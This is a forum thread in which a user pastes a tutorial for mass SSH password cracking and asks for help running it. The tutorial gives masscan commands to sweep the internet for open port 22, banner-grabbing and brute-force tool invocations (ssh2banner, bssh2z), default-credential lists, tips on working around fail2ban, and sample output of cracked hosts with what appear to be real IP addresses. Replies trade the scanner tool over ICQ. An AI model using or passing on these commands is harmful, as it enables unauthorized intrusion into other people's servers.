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+--- Thread: Can anyone help with ssh cracking? (/Thread-can-anyone-help-with-ssh-cracking)
Can anyone help with ssh cracking? - fred2222 - 02-21-2017
Hi
just wanted to ask if you can help me i got a tut for ssh cracking
But can seen to understand which command to press step by step
the way this tool works
This is how the tool works
1 scan for open 22 ip
2 you have to scan the ip for servers banners
3 then you start the cracking
to get ip i use this
./masscan $1 -p22 -oL input.txt --max-rate $masscan_speed --open --banners --exclude 255.255.255.255 --exclude 10.0.0.0/8 --exclude 192.168.0.0/16 --exclude 127.0.0.0/8 -sS -Pn -n --randomize-hosts -v --send-eth
./ss 22 -a 110 eth0 -s 10
That part i understand
Theres two part im not understanding is commands for ./ssh2banner and ./bssh2z this is what im not sure is (./ssh2banner <VIPCODE>) and for (./bssh2z YOUR_VIPCODE_PASSWORD
i google it and cant find anything./ssh2banner <FORKS> <PORT> <TIMEOUT> <VIPCODE>
./ssh2banner 150 22 10
./bssh2z <FORKS> <PORT> <TIMEOUT> <VIPCODE>
./bssh2z 150 22 10 YOUR_VIPCODE_PASSWORD;
ICQ 680864860
Thats the tut
***********************************************************************************************************************************************
INFO.TXT
1. ssh2banner is for retriving the banner of the ssh server. The good thing is that you don't even need u/p, thus making this a very good tool of determining if is a proper ssh server
INPUT FILE = `i`
1.2.3.4
3.3.3.3
4.4.4.4
OUTPUT
1.2.3.4:22:SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu
3.3.3.3:22:SSH-2.0-OpenSSH_3.7.1p2
4.4.4.4:22:SSH-WHATEVER_BANNER
EXAMPLE RUN
./ssh2banner <FORKS> <PORT> <TIMEOUT> <VIPCODE>
So we have the bios.txt that containts a list of ips that have port 22 opened it is time to put it to the check with ssh2banner.
(banner ssh will read `i` file, also shuffeling ips)
cat bios.txt | sort -u | shuf > i
./ssh2banner 150 22 10 YOUR_VIPCODE_PASSWORD;
We will use 150 forks (max ssh connection at a time), but you can put whatever number you want(500,1000), be carefull to not get your server banned or in ram/cpu load.
The ssh2banner is way faster then the bssh2z (brute-ssh) because it is just connecting to the server and getting the ssh-banner only without username/passowrd. It will generate an `banners.log` file that will contain data like this :
1.2.3.4:22:SSH-2.0-OpenSSH_6.6.1p1 Ubuntu-2ubuntu
3.3.3.3:22:SSH-2.0-OpenSSH_3.7.1p2
4.4.4.4:22:SSH-WHATEVER_BANNER
You will see a lot of banners, starting from OpenSSH to dropbear or some that you even heared about, like routers and other stuff. This list is perfect to do a brute-SSH attack on it, thus you are 100% that those are servers and not some other applications that are opened on port 22.
Retrieve just the ips from this list with this command :
rm i;
cat banners.log | cut -f ":" -f 1 > i;
if you wish you can scan only dropbear
cat banners.log | grep "dropbear" | cut -f ":" -f 1 > i;
or cisco routers
cat banners.log | grep "cisco" | cut -f ":" -f 1 > i;
Create a nice password file `p` begining with the user/pass combo "root $BLANKPASS", should look like this :
root $BLANKPASS
admin admin
username password
...
then do a
wc -l i p
233214 i
18 p
233232 total
Looks ok
2. bssh2z (brute ssh) is for brute-forcing list of ips with various passwords
INPUT FILE (list of ips) = `i`
1.2.3.4
3.3.3.3
4.4.4.4
INPUT FILE (list of user/pass combo) = `p`
root $BLANKPASS
admin admin
user pass
OUTPUT
`n` -> nobash,busybox,honeypot,other linux
root:r0ot:1.2.3.4:22:UNKNOWN_SYSTEM:SSH-2.0-dropbear_0.51
root:r0ot:4.4.4.4:22:UNKNOWN_SYSTEM:SSH-2.0-dropbear_0.51
root:r0ot:5.5.5.5:22:UNKNOWN_SYSTEM:SSH-2.0-dropbear_0.51
root:r0ot:6.6.6.6:22:UNKNOWN_SYSTEM:SSH-2.0-dropbear_0.5
`v` -> vuln,virtual,good linux
root::7.7.7.7:22:Linux:SSH-2.0-OpenSSH_6.6:Intel® Xeon® CPU E5-2670 v2 @ 2.50GHz:3764 2558 1206 0 166 336:vuln
user:live:8.8.8.8:22:Linux:SSH-2.0-OpenSSH_6.0p1 Debian-4:Intel® Core™ i5 CPU 760 @ 2.80GHz:6040 1307 4732 0 135 633:vuln
root::9.9.9.9:22:Linux:SSH-2.0-OpenSSH_7.1:Intel® Atom™ CPU C2758 @ 2.41GHz:16038 15859 179 0 0 14317:vuln
root::10.10.10.10:22:Linux:SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u2:ARMv7 Processor rev 2 (v7l
.png "64 (31)")
492 281 210 12 47 109:vulnroot::11.11.11.11:22:Linux:SSH-2.0-OpenSSH_7.1:Intel® Atom™ CPU C2758 @ 2.41GHz:16038 15859 178 0 0 14317:vuln
EXAMPLE RUN
./bssh2z <FORKS> <PORT> <TIMEOUT> <VIPCODE>
If you put like 20 ips and 400 passwords and the scan works slow, don't worry, it is a fail2ban protection. It is pointless to finish them in 1 minute, thus you will get banned after the first 5 tries in less then a minute. It will finish it, have patience.
Now we will do a brute-SSH attack on those using this command
./bssh2z 150 22 10 YOUR_VIPCODE_PASSWORD;
You will see something like this going on:
Current version : 2.5.1
Last version : 2.4.1
Counting PASS
Counted [18] PASS
Counting IPS
Counted [233214] IPS
There are [4197852] possible combinations
Starting session 0
Trying user/pass combo #1->[guest][]
Combo [9 of 4197852] -> [178.27.29.115] with [guest][]
Combo [4 of 4197852] -> [220.128.68.129] with [guest][]
...
Duplicate NOBASH [128.54.202.72]
Duplicate NOBASH [37.48.86.100]
Combo [53262 of 4197852] -> [67.221.173.53] with [guest][]
....
***********************************************************************************************************************************************
RE: Can anyone help with ssh cracking? - chopayabuga - 02-22-2017
please do u have the scanner
RE: Can anyone help with ssh cracking? - fred2222 - 02-23-2017
yes i do have the scanner
icq 680864860
i will share it with you if you help me with working the tool